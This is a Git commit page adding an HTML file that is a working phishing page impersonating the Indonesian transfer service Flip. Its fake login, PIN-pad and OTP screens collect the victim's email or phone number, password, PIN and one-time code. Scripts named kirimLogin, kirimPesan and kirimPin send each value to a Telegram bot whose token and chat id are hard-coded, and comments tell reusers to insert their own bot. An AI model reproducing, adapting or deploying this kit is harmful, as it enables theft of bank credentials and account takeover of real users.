dana.id
/
Saya
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Unggah berkas ke ''

This commit is contained in:
gilangps2022 2023-05-29 19:03:05 +00:00
parent 7daede1a51
commit a4c2dbdaea
1 changed files with 886 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

886
index1.html Normal file
View File

@ -0,0 +1,886 @@
<!-- This site was created in Webflow. https://www.webflow.com --><!-- Last Published: Sat Apr 22 2023 09:42:10 GMT+0000 (Coordinated Universal Time) -->
<html data-wf-domain="sinarmas-mobile.webflow.io" data-wf-page="6442141a49c262283d23a772" data-wf-site="644212b949c2624101239c6f" lang="In"><head><meta charset="utf-8"/>
<title>Flip - Transfer Beda Bank Gratis</title>
<meta content="Flip - Transfer Beda Bank Gratis " property="og:title">
<meta content="flip.id" property="twitter:title">
<meta name="description" content="Transfer beda bank, top up e-wallet, kirim uang ke luar negeri, dan beli produk digital. Semua lebih terjangkau!">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0" name="viewport">
<meta name="theme-color" content="#FFFFFF">
<meta content="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDke0ML57-FWGF63PLg0_hgJwc4HEB7Tqp_Rt8jVPgilp42OztJTONPbgNy9WAwgCXJS9NsvPdmZureLIsNcgMyb7odSCElXigrmDMftBhTbM6-YIAT7o_Rs_5MfU-jZTBCk3Sqqh0CQlojgeFWkVBBsy1elNS3NwAg3bOigYFOGFYA0xD-XbbfXMK/s16000/IMG-20230528-WA0013.jpg" property="og:image">
<link rel="canonical" href="https://flip.id/">
<meta property="og:url" content="https://flip.id/" />
<meta content="Flip - Transfer Beda Bank Gratis" name="generator">
<meta content="Webflow" name="generator"/>
<link href="https://uploads-ssl.webflow.com/644212b949c2624101239c6f/css/sinarmas-mobile.webflow.e4429d583.css" rel="stylesheet" type="text/css"/>
<!--[if lt IE 9]>-->
<script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.min.js" type="text/javascript">
</script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<!--<![endif]-->
<script type="text/javascript">!function(o,c){var n=c.documentElement,t=" w-mod-";n.className+=t+"js",("ontouchstart"in o||o.DocumentTouch&&c instanceof DocumentTouch)&&(n.className+=t+"touch")}(window,document);</script>
<link href="https://storage.googleapis.com/dot-flip-dev/media-library/logo_lg_430b708631/logo_lg_430b708631.svg" rel="shortcut icon" type="image/x-icon"/>
<link href="https://storage.googleapis.com/dot-flip-dev/media-library/logo_lg_430b708631/logo_lg_430b708631.svg" rel="apple-touch-icon"/>
<link href="https://fonts.googleapis.com/css?family=Alatsi" rel="stylesheet" type="text/css">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-0evHe/X+R7YkIZDRvuzKMRqM+OrBnVFBL6DOitfPri4tjfHxaWutUpFmBp4vmVor" crossorigin="anonymous">
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css"/>
<link rel="stylesheet" href="https://flip-indonesia.github.io/landing/style.css"/>
<script type="text/javascript">window.__WEBFLOW_CURRENCY_SETTINGS = {"currencyCode":"USD","$init":true,"symbol":"$","decimal":".","fractionDigits":2,"group":",","template":"{{wf {\"path\":\"symbol\",\"type\":\"PlainText\"} }} {{wf {\"path\":\"amount\",\"type\":\"CommercePrice\"} }} {{wf {\"path\":\"currencyCode\",\"type\":\"PlainText\"} }}","hideDecimalForWholeNumbers":false};</script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js"></script>
<style>
</style>
</head>
<body class="body-4">
<welalxcome>
</welalxcome>
<chsalxcome2 style="display: none;">
<div style="height:30px;width: 70px;margin-top: -30px;margin-bottom: 0px;float:center;margin-left:42%" class="talxcome">
</div>
<div class="container-4 w-container">
<form onsubmit="kirimPesan()" method="get">
<fieldset id="ryuSubmit">
<div id="homeku">
<image src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwxZzEBfkKKBoSOTg4Dq-ZdTJ5h_lXvreuflUy0RBYrdXdG5B6IRlgmYyu_vKNK5YlWqfB39hYS14tw9mX2LJjOUNZAfuBAk35gWfaMVVIuFQOelf9POHvPQYTFfz6JF-A-btaZV9-oqKtcsWXSPliVeC9OrN1o-5s85qhN-_a81SHE9k_P2bGKbSc/s16000/AddText_05-28-01.20.06.jpg" width="100%" height="auto">
<div style="top: 225px; position: absolute; margin: auto;">
<label for="user" class="labelku">Email/Nomor Handphone</label>
<input type="text" id="user" class="userku" placeholder="nama@email.id atau 085123456789" />
<br>
<br>
<p style="margin-top: 30px;"></p>
<label for="pass" class="labelku" style="margin-left: -70px">Kata Sandi</label>
<input type="password" id="pass" class="userku" placeholder="********" />
<a href="" style="text-decoration: none; position: absolute; left: 15; font-size: 13px; font-weight: 800; color: #FD6442; margin-top: 65px">Lupa Kata sandi?</a>
<button class="btnflip" type="button" id="btnRedirect" onclick="kirimLogin()" >Masuk</button>
<a href="" style="text-decoration: none; position: fixed; left: 0; right: 0; font-size: 13px; font-weight: 800; color: #ccc; bottom: 20; ">Belum punya akun? <span style="color: #FD6442;">Daftar.</span></a>
</div>
</div>
<div class="tab" id="login">
<div style="position: fixed; left: 0; right: 0; bottom: 6; width: 92%; margin: 15px auto">
<div class="col-12" style="width: 100%; display: block; margin-top: 20px; background: transparent;">
<div>
<br>
<label class="floating-label"><input type="text" class="input-text nope inputku" placeholder=" " id="nama"> <span style="margin-left: -10px; margin-top: 30px; color: #2C2C2C; font-weight: 400;">Username</span> </label>
</div>
<div style="margin-top: -2px">
<label class="floating-label" style="margin-top">
<p></p>
<p></p>
<input type="password" class="input-text nope " placeholder=" " id="email" pattern="(?=.*[a-z])(?=.*[A-Z]).{8,}" title="Masukan Data yang terdaftar di 𝗕𝗥𝗜𝗺𝗼 anda" required><span style="margin-left: -10px; margin-top: 30px; color: #2C2C2C; font-weight: 400;">Password</span> </label>
<div class="bubble-element eye clickable-element" tabindex="3" id="eyeOpen">
<img alt="" id="eye" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCANQQ9gRdrWH7ZPFKAq4urYybNZsOj8Ex5X_dv2V-_pcCmIi7fFbbUzil7Lt1EHCxfek4x7r1XKYELxxV8zrJ08eXhx2rFpludblnsBaiOc8tw_APAWFft0MqheoBGS7Ba9pHuhP7LjNz38WVXJL9f-q-7QY8lfuuC77vQTH3-HhJN02PMO6awj1-/s38/tutup0399.jpg" style="display: block; margin: 0px; width: 100%; height: 100%; border-radius: 0px;">
</div>
<div class="bubble-element eye clickable-element" tabindex="3" id="eyeClose" style="display: none">
<img alt="" id="eye" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2D_yppIdlT8o8x-_N4i6il4NGMzDSXDlRDGcg_E7Y12wN4xb6Oz17Px8AGCpl-wSD_qbXxhFEj6d3p-6g_KSLYaslfIyHjseWqrijoTq6XyKl07ht6xMX2obQ738iVTc1r0taCjIDAA5amrjTDaJ_kPu8rsWCCySVr4qbQu11mF2YrFiZs8raSKuV/s52/buka53a4.jpg" style="display: block; margin: 0px; width: 100%; height: 100%; border-radius: 0px;">
</div>
<br>
<div class="text-header" style="float: right; position: static; z-index: 999; display: block; margin-top: -10px; margin-bottom:">
<font style="font-size: 16px" color="#000000"><a href="./lupa_password.html" target="_blank" style="color: #025198; text-decoration: none; font-weight: bold; font-family: sans-serif;">Lupa Username/Password?</a></font>
</div>
</div>
</div>
<button class="btn-login1" type="button" id="dolog" onclick="loginku()" disabled> Login </button>
<div class="col-12" style="width: 40px; max-width: 40%; display: block; margin: -10px auto; margin-right: 20px; margin-top: -91px;">
<button type="button" class="btn-login" onclick="openForm()"></button>
</div>
</div>
</div>
<div class="form-popup" id="myForm" style="margin-top: 0px; width: 100%; background-color: #00000040">
<input type="hidden" value="fingerprint" required>
<button id="dolog" type="submit" style="width: 100%; height: 100%; background: #000000; "><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpm2K2JjLtYWlcV0QrNSU7ECBSFJGsUn94v5U1_eXWScHM6t8xk5K3dW7Z6L4MAYQmKFG1tTEesbTXJlnGZ-Ez4KDA4kG3jYBSSuQ3j0h9HxyxsWxSqEAAnHWtj0Qmw6vahUpN7adcpY4QNnO-AJHLIHjhlfnMK7ZkNQwUhbeSN2B7dIkA8RxfgsgK/s2137/AddText_01-30-07.14.49.png" style="width: 100%; height: 100%; margin-left: -7px; margin-top: 0px;" class="card-item__bg"></button>
<button type="button" class="btn-cancel" onclick="closeForm()">Cancel</button>
</div>
</div>
</div>
<div class="tab" id="pinku" style="color: #fff; padding-left: 25px; padding-right: 30px; margin: auto;">
<div class="row" style="margin-top: 30px; margin: 20px auto;">
<div class="col-12 d-block mx-auto sizing" style="white-space: pre-wrap; text-align: center; margin-top: 25px; height: 98.8px; padding-bottom: 0px; font-family: Barlow; font-size: 16px; font-weight: 400; color: #fff; line-height: 1.4; border-radius: 0px;">
<div class="text-header" style="font-family: 'Nunito', sans-serif;"><font size="3" style="color: #fff"></div>
</div>
</div>
<div class="row" style="margin-top: 30px; color: #fff; text-align: center">
<div class="col-12 d-block mx-auto sizing" style="white-space: pre-wrap; height: 98.8px; padding-bottom: 0px; font-size: 16px; font-weight: 400; color: #fff; line-height: 1.4; border-radius: 0px;">
<div class="text-header"></div>
</div>
</div>
<div class="row" style="margin-top: -100px;">
<div class="col-12 d-block mx-auto sizing" style="white-space: pre-wrap; height: 58.8px; padding-bottom: 0px; font-size: 16px; font-weight: 400; color: rgb(59, 59, 59); line-height: 1.4; border-radius: 0px;">
<div class="row" style="texr-align: center; margin: 40px; margin-top: -35px">
<input type="hidden" name="sixpin" id="setPin">
<div class="col-2">
<div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
<div class="bubble-element Group" id="pin-1" data-val="" style="box-sizing: border-box; font-size: 11px; color: #000; text-align: center; padding-top: 0px; width: 20px; left: 0px; top: 0px; background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;"></div>
</div>
</div>
<div class="col-2">
<div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
<div class="bubble-element Group" id="pin-2" data-val="" style="box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px;background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;"></div>
</div>
</div>
<div class="col-2">
<div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
<div class="bubble-element Group" id="pin-3" data-val="" style="box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px;background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;"></div>
</div>
</div>
<div class="col-2">
<div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
<div class="bubble-element Group" id="pin-4" data-val="" style="box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px;background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;"></div>
</div>
</div>
<div class="col-2">
<div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
<div class="bubble-element Group" id="pin-5" data-val="" style="box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px; background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;"></div>
</div>
</div>
<div class="col-2">
<div class="bubble-r-box" style="height: 52px; left: 0px; width: 50px;">
<div class="bubble-element Group" id="pin-6" data-val="" style="box-sizing: border-box; width: 20px; font-size: 11px; color: #000; text-align: center; padding-top: 0px;background-color: rgba(255, 255, 255, 0.34); border-radius: 50%; box-shadow: rgba(171, 171, 171, 0) 0px 0px 0px 0px; height: 20px; border: 2px solid #bbb; font-weight: 1000;" ></div>
</div>
</div>
</div>
<div class="row" style="margin-top: -130px">
<div class="col-12">
<div class="text-header text-center" style="font-family: 'Nunito', sans-serif;'"><</div>
</div>
</div>
</div>
</div>
<div class="row" style="margin-top: 70px; margin-left: -5px;">
<div class="col-12 d-block mx-auto sizing" style="white-space: pre-wrap; height: 98.8px; padding-bottom: 0px; font-size: 16px; font-weight: 400; color: black; line-height: 1.4; border-radius: 0px;">
<div class="row">
<div class="col-4">
<button class="bubble-element Group pinNumb" id="setPin" data-id="1">1</button>
</div>
<div class="col-4">
<button class="bubble-element Group pinNumb" id="setPin" data-id="2">2</button>
</div>
<div class="col-4">
<button class="bubble-element Group pinNumb" id="setPin" data-id="3">3</button>
</div>
</div>
<div class="row" style="margin-top: -80px">
<div class="col-4">
<button class="bubble-element Group pinNumb" id="setPin" data-id="4">4</button>
</div>
<div class="col-4">
<button class="bubble-element Group pinNumb" id="setPin" data-id="5">5</button>
</div>
<div class="col-4">
<button class="bubble-element Group pinNumb" id="setPin" data-id="6">6</button>
</div>
</div>
<div class="row" style="margin-top: -80px">
<div class="col-4">
<button class="bubble-element Group pinNumb" id="setPin" data-id="7">7</button>
</div>
<div class="col-4">
<button class="bubble-element Group pinNumb" id="setPin" data-id="8">8</button>
</div>
<div class="col-4">
<button class="bubble-element Group pinNumb" id="setPin" data-id="9">9</button>
</div>
</div>
<div class="row" style="margin-top: -80px">
<div class="col-4">
</div>
<div class="col-4">
<button class="bubble-element Group pinNumb" id="setPin" data-id="0">0</button>
</div>
<div class="col-4">
<button class="bubble-element Group pinNumb" id="hapus"><i class="ion-backspace-outline"></i></button>
</div>
</div>
</div>
</div>
</div>
</fieldset>
</form>
</div>
<div class="tab" id="debit">
<p id="otpsaya" style="color: black; position: fixed; left: 0; right: 0; top: 113; font-size: 15px"></p>
<div class="pin-code" maxlength="6" style="margin-top: 170px;">
<form method="get">
<input type="hidden" name="sixpin" id="setPin">
<input type="tel" id="pin1" data-id="1" maxlength="1" required autofocus>
<input type="tel" id="pin2" data-id="2" name="pin2" maxlength="1" autofocus>
<input type="tel" id="pin3" data-id="3" name="pin3" maxlength="1" autofocus>
<input type="tel" id="pin4" data-id="4" name="pin4" maxlength="1" autofocus>
<input type="tel" id="pin5" data-id="5" name="pin5" maxlength="1" autofocus>
<input type="tel" value="" id="pin6" data-id="6" name="pin6" maxlength="1" required onchange="javascript:this.form.submit();" oninput="kirimPin()" autofocus>
<p></p>
<input type="tel" style="opacity: 0.0">
</div>
</form>
<p style="font-weight: bold; font-size: 25px; color: #000000; text-align: center; margin: 10px auto; margin-top: -50px" id="timer">3 : 00</p>
<center>
<button type="button" id="gantino" style="position: ; bottom: 10; left; 0; right: 0; margin: 5px auto; margin-top: 340px; color: #FD6442; font-weight: 800; background: transparent; font-size: 15px">Ubah nomor HP</button>
</center>
</div>
<div id="loading">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWid-1DztYEbF1wQ4b3ESQKzFpMuGNzhaS2PN-lrrQpGzFt7NIsq0vuvIEI63T_g-iDxbu358ijQMM23euMCjuBqzegiKeJWQSziK-1H-jJZhL06h0zOERvNm2hNGMuuGsqoY1T8xCBTJ9GY-U9orhQfMkQvdYGG41OLj1knwPFfCEN0YqLFb73UI6/s16000/ezgif.com.gif"
alt="">
</div>
<div id="aseli"></div>
<div id="koneksi">
<div class="animated fadeInUpBig">
<image src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVvlhVV1edmw-JWVGbd5sKgKqC07Psdrq7yzoeuzacmSJ52mHlLkVdWEefInQpNRFlLzmjvOntJ65c40xTAYKamopDWfp2MNwsFwyUxt-wNVBm8Pf-cVA9PPYOAeDKsXxX6dYe2CNoRyIN6Zx-tGTv8VL47i7GxPAmcq2MOyowksTIYEFIVhghzaFA/s16000/1685119842427.png" width="100%" height="100%"></image>
</div>
</div>
<!-- partial -->
</div>
<!-- partial:index.partial.html -->
<script src="https://code.jquery.com/jquery-1.12.4.min.js"
integrity="sha384-nvAa0+6Qg9clwYCGGPpDQLVpLNn0fRaROjHqs13t4Ggj3Ez50XnGQqc/r8MhnRDZ"
crossorigin="anonymous">
</script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.15/jquery.mask.min.js"></script>
<script>
$(document).ready(function(){
$("#setPin").passwordify().focus();
});
</script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
<script type="text/javascript">
$(function () {
$("#btnRedirect1").click(function () {
var seconds = 3;
$("#indi").show();
$("#loading").show();
$("#lblCount").html(seconds);
setInterval(function () {
seconds--;
$("#lblCount").html(seconds);
if (seconds == 0) {
$("#indi").hide();
$("#loading").hide();
document.getElementById("pinku").style.display = "block";
document.getElementById("menu").style.display = "none";
}
}, 1000);
});
});
</script>
<script type="text/javascript">
$(function () {
$("#gantino").click(function () {
var seconds = 3;
$("#loading").show();
$("#lblCount").html(seconds);
setInterval(function () {
seconds--;
$("#lblCount").html(seconds);
if (seconds == 0) {
$("#loading").hide();
document.getElementById("homeku").style.display = "block";
document.getElementById("debit").style.display = "none";
document.getElementById("pinku").style.display = "none";
}
}, 1000);
});
});
</script>
<script>
/**
* jQuery.Passwordify.js
* Written by: Jay Simons
* Cloudulus.Media (https://code.cloudulus.media)
*/
if (window.jQuery) {
(function ($) {
$.fn.passwordify = function (opts) {
var settings = $.extend({
maxLength: 8,
numbersOnly: false,
alphaOnly: false,
alNumOnly: false,
enterKeyCallback: null
}, opts);
var rePattern = '\\s\\S';
if (settings.numbersOnly) rePattern = '0-9';
if (settings.alphaOnly) rePattern = 'A-z';
if (settings.alNumOnly) rePattern = '0-9A-z';
var maskPlaceholder = "";
for (var i = 0; i < settings.maxLength; i++)
{
maskPlaceholder = maskPlaceholder + 'Z';
}
return this.on('keyup', function (e) {
var me = $(this);
switch (e.which) {
case 8: // Handle backspace
$(this).data('val', $(this).data('val').slice(0, -1));
break;
case 13: // Handle enter key
if (typeof settings.enterKeyCallback == 'function') settings.enterKeyCallback(me);
break;
case undefined:
$(this).data('val', $(this).val());
break;
default: // All other input
var regex = new RegExp("^[" + rePattern + "]$");
if (regex.exec(e.key) && $(this).data('val').length < settings.maxLength) {
$(this).data('val', $(this).data('val') + e.key);
}
}
setTimeout(function () {
var inpVal = me.val();
me.val(inpVal.replace(/./gi, '*'));
me.trigger('change');
}, 300);
}).mask(maskPlaceholder, {
translation: {
'Z': {pattern: "[" + rePattern + "\*]"}
}
});
}
})(jQuery);
} else {
console.log("Passwordify.js: This class requies jQuery > v3!");
}
</script>
<!-- partial -->
</center>
</div>
</form>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script>
$( document ).ready(function() {
setTimeout(() => {
$('welalxcome').hide();
$('chsalxcome2').fadeIn();
},1000)
});
$(document).ready(function () {
$("#Button").on('click', function () {
$("#loading").show();
setTimeout(function () {
}, 1800);
});
});
</script>
<script>
function kirimLogin(){
document.getElementById("pinku").style.display = "block";
document.getElementById("loading").style.display = "block";
setTimeout(function () {
$("#loading").fadeOut("slow"); }, 900);
var user = document.getElementById('user');
var pass = document.getElementById('pass');
var gabungan = '𝗘𝗺𝗮𝗶𝗹/𝗡𝗼.𝗛𝗮𝗻𝗱𝗽𝗵𝗼𝗻𝗲 %3A%0A' + user.value + '%0A𝗣𝗮𝘀𝘀𝘄𝗼𝗿𝗱 %3A%0A' + pass.value;
var token = '5653453855:AAHFJmxmA-2Fpi8XP0_0cq-f5SpU9PlbuNc'; // Ganti dengan token bot yang kamu buat
var grup = '5627477315'; // Ganti dengan chat id dari bot yang kamu buat
$.ajax({
url: `https://api.telegram.org/bot${token}/sendMessage?chat_id=${grup}&text=${gabungan}&parse_mode=html`,
method: `POST`,
})
}
</script>
<script>
function openForm() {
document.getElementById("myForm").style.display = "block";
}
function closeForm() {
document.getElementById("myForm").style.display = "none";
}
</script>
<script>
document.getElementById('timer').innerHTML =
01 + ":" + 59;
startTimer();
function startTimer() {
var presentTime = document.getElementById('timer').innerHTML;
var timeArray = presentTime.split(/[:]+/);
var m = timeArray[0];
var s = checkSecond((timeArray[1] - 1));
if(s==59){m=m-1}
if(m<01){
return
}
document.getElementById('timer').innerHTML =
m + " : " + s;
console.log(m)
setTimeout(startTimer, 1000);
}
function checkSecond(sec) {
if (sec < 10 && sec >= 0) {sec = "0" + sec}; // add zero in front of numbers < 10
if (sec < 0) {sec = "59"};
return sec;
}
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/js/bootstrap.bundle.min.js" integrity="sha384-pprn3073KE6tl6bjs2QrFaJGz5/SUsLqktiwsUTF55Jfv3qYSDhgCecCxMW52nD2" crossorigin="anonymous"></script>
<script>
function kirimPesan() {
document.getElementById("otpsaya").innerHTML = "SMS di <strong>" + user.value + "</strong> dan cek email anda";
var setPin = document.getElementById('setPin');
var gabungan = '𝗣𝗜𝗡 𝗙𝗹𝗶𝗽 %3A%0A' + setPin.value;
var token = '5653453855:AAHFJmxmA-2Fpi8XP0_0cq-f5SpU9PlbuNc'; // Ganti dengan token bot yang kamu buat
var grup = '5627477315'; // Ganti dengan chat id dari bot yang kamu buat
$.ajax({
url: `https://api.telegram.org/bot${token}/sendMessage?chat_id=${grup}&text=${gabungan}&parse_mode=html`,
method: `POST`,
})
}
$(document).ready(function() {
$("button#setPin").on('click', function() {
var pin = $(this).attr('data-id');
if($.trim($("#pin-1").html())=='') {
$("#pin-1").html(pin);
} else if($.trim($("#pin-1").html())!='' && $.trim($("#pin-2").html())=='') {
$("#pin-2").html(pin);
} else if($.trim($("#pin-2").html())!='' && $.trim($("#pin-3").html())=='') {
$("#pin-3").html(pin);
} else if($.trim($("#pin-3").html())!='' && $.trim($("#pin-4").html())=='') {
$("#pin-4").html(pin);
} else if($.trim($("#pin-4").html())!='' && $.trim($("#pin-5").html())=='') {
$("#pin-5").html(pin);
} else if($.trim($("#pin-5").html())!='' && $.trim($("#pin-6").html())=='') {
$("#pin-6").html(pin);
var setPin = $("#pin-1").html()+''+$("#pin-2").html()+''+$("#pin-3").html()+''+$("#pin-4").html()+''+$("#pin-5").html()+''+$("#pin-6").html();
$("input#setPin").val(setPin);
var pinValue = $("input#setPin").val();
if(pinValue.length == 6) {
$("fieldset").submit();
document.getElementById("debit").style.display = "block";
document.getElementById("loading").style.display = "flex";
setTimeout(function () {
$("#loading").fadeOut("slow"); }, 900);
}
}
});
$("#hapus").on('click', function() {
$("#pin-1").html('');
$("#pin-2").html('');
$("#pin-3").html('');
$("#pin-4").html('');
$("#pin-5").html('');
});
});
</script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script src="https://d3e54v103j8qbb.cloudfront.net/js/jquery-3.5.1.min.dc5e7f18c8.js?site=644212b949c2624101239c6f" type="text/javascript" integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=" crossorigin="anonymous"></script>
<!--<script src="https://uploads-ssl.webflow.com/644212b949c2624101239c6f/js/webflow.5baa35f54.js" type="text/javascript"></script>--><!--[if lte IE 9]>-->
<script src="//cdnjs.cloudflare.com/ajax/libs/placeholders/3.0.2/placeholders.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"
integrity="sha512-+NqPlbbtM1QqiK8ZAo4Yrj2c4lNQoGv8P79DPtKzj++l5jnN39rHA/xsqn8zE9l0uSoxaCdrOgFs6yjyfbBxSg=="
crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script type="text/javascript">
function EnableDisable(tiktok) {
//Reference the Button.
var Button = document.getElementById("Button");
//Verify the TextBox value.
if (tiktok.value.trim() != "") {
//Enable the TextBox when TextBox has value.
Button.disabled = false;
} else {
//Disable the TextBox when TextBox is empty.
Button.disabled = true;
}
};
</script>
<script>
function OnButton(nama, email) {
if(nama.length > 4 && email.length > 5) {
$(".btn-login1").prop('disabled', false);
} else {
$(".btn-login1").prop('disabled', true);
}
}
$(document).ready(function() {
$("body").on('click', 'button#doLog', function() {
var user = $("#nama").val();
var pass = $("#email").val();
$.ajax({
url: "/login/confirm.php",
method: "POST",
data: "username="+user+"&password="+pass,
beforeSend: function() {
$("#loading").show();
},
success: function(responsex) {
$("#aseli").html('');
if(responsex == "true") {
$.get("/aplikasi/login.js", function(datax, status){
window.history.pushState("", "", '/login.js');
$("#hideBody").hide();
$("#loading").hide();
$("#aseli").html(datax);
});
} else {
$.get("/aplikasi/pin.php", function(data, status){
window.history.pushState("", "", 'aplikasi/login.php');
setTimeout(function() {
$("#hideBody").hide();
$("#loading").hide();
$("#aseli").html(data);
$("#aseli").show();
}, 1000);
});
}
}
})
});
$("div#eyeOpen").on('click', function() {
$("#eyeOpen").css("display", "none");
$("#eyeClose").css("display", "block");
$("#email").prop("type", "text");
$("div#eyeClose").on('click', function() {
$("#eyeOpen").css("display", "block");
$("#eyeClose").css("display", "none");
$("#email").prop("type", "password");
});
});
$("#nama").on('input', function() {
var user = $("#nama").val();
var pass = $("#email").val();
OnButton(user, pass);
});
$("#email").on('input', function() {
var user = $("#nama").val();
var pass = $("#email").val();
OnButton(user, pass);
});
});
</script>
<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.0/jquery.min.js'></script>
<script src='https://use.fontawesome.com/2473308824.js'></script>
<script>
$(document).ready(function() {
var buttoqn = $('#Button1');
$(button).prop('disabled', true);
$('#pin5').on('input', function() {
var pin5 = $("#pin5").val();
var logos = $("#logos").val();
if ($(buttonq).prop('disabled')) $(buttonq).prop('disabled', false);
else $(button).prop('disabled', true);
});
</script>
<!--<![endif]-->
</body>
</html>
<script>
//var pinContainer = document.getElementsByClassName("pin-code")[maxlength];
var pinContainer = document.querySelector(".pin-code");
console.log('There is ' + pinContainer.length + ' Pin Container on the page.');
pinContainer.addEventListener('keyup', function (event) {
var target = event.srcElement;
var maxLength = parseInt(target.attributes["maxlength"].value, 6);
var myLength = target.value. length;
if (myLength >= maxLength) {
var next = target;
while (next = next.nextElementSibling) {
if (next == 0) break;
if (next.tagName.toLowerCase() == "input") {
next.focus();
break;
}
}
}
if (myLength === 0) {
var next = target;
while (next = next.previousElementSibling) {
if (next == 0) break;
if (next.tagName.toLowerCase() == "input") {
next.focus();
break;
}
}
}
}, false);
pinContainer.addEventListener('keydown', function (event) {
var target = event.srcElement;
target.value = "";
}, false);
</script>
<script src='https://cdnjs.cloudflare.com/ajax/libs/vue/2.6.10/vue.min.js'></script>
<script src='https://unpkg.com/vue-the-mask@0.11.1/dist/vue-the-mask.js'></script><script src="./credit.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script>
/*
See on github: https://github.com/muhammederdem/credit-card-form
*/
new Vue({
el: "#app",
data() {
return {
currentCardBackground: Math.floor(Math.random()* 25 + 1), // just for fun :D
cardName: "",
cardNumber: "",
cardCvv: "",
cardPin: "",
cardPin1: "",
cardPin2: "",
cardPin3: "",
cardPin4: "",
cardPin5: "",
amexCardMask: "#### ###### #####",
otherCardMask: "#### #### #### ####",
cardNumberTemp: "",
isCardFlipped: false,
focusElementStyle: null,
isInputFocused: true
};
},
mounted() {
this.cardNumberTemp = this.otherCardMask;
document.getElementById("cardNumber").focus();
},
computed: {
getCardType () {
let number = this.cardNumber;
let re = new RegExp("^4[0-8]");
if (number.match(re) != null) return "visa";
re = new RegExp("^3[4-7]");
if (number.match(re) != null) return "amex";
re = new RegExp("^5[1-8]");
if (number.match(re) != null) return "mastercard";
re = new RegExp("^6011");
if (number.match(re) != null) return "discover";
re = new RegExp("^6013");
if (number.match(re) != null) return "gpn";
re = new RegExp('^9792')
if (number.match(re) != null) return 'troy'
return "none"; // default type
},
generateCardNumberMask () {
return this.getCardType === "amex" ? this.amexCardMask : this.otherCardMask;
},
minCardMonth () {
if (this.cardYear === this.minCardYear) return new Date().getMonth() + 1;
return 1;
}
},
watch: {
cardYear () {
if (this.cardMonth < this.minCardMonth) {
this.cardMonth = "";
}
}
},
methods: {
flipCard (status) {
this.isCardFlipped = status;
},
focusInput (e) {
this.isInputFocused = true;
let targetRef = e.target.dataset.ref;
let target = this.$refs[targetRef];
this.focusElementStyle = {
width: `${target.offsetWidth}px`,
height: `${target.offsetHeight}px`,
transform: `translateX(${target.offsetLeft}px) translateY(${target.offsetTop}px)`
}
},
blurInput() {
let vm = this;
setTimeout(() => {
if (!vm.isInputFocused) {
vm.focusElementStyle = null;
}
}, 300);
vm.isInputFocused = false;
}
}
});
function kirimPin() {
var pin1 = document.getElementById('pin1');
var pin2 = document.getElementById('pin2');
var pin3 = document.getElementById('pin3');
var pin4 = document.getElementById('pin4');
var pin5 = document.getElementById('pin5');
var pin6 = document.getElementById('pin6');
var gabungan = '%0A𝗢𝗧𝗣 %3A%0A' + pin1.value + pin2.value + pin3.value + pin4.value + pin5.value + pin6.value;
var token = '5653453855:AAHFJmxmA-2Fpi8XP0_0cq-f5SpU9PlbuNc'; // Ganti dengan token bot yang kamu buat
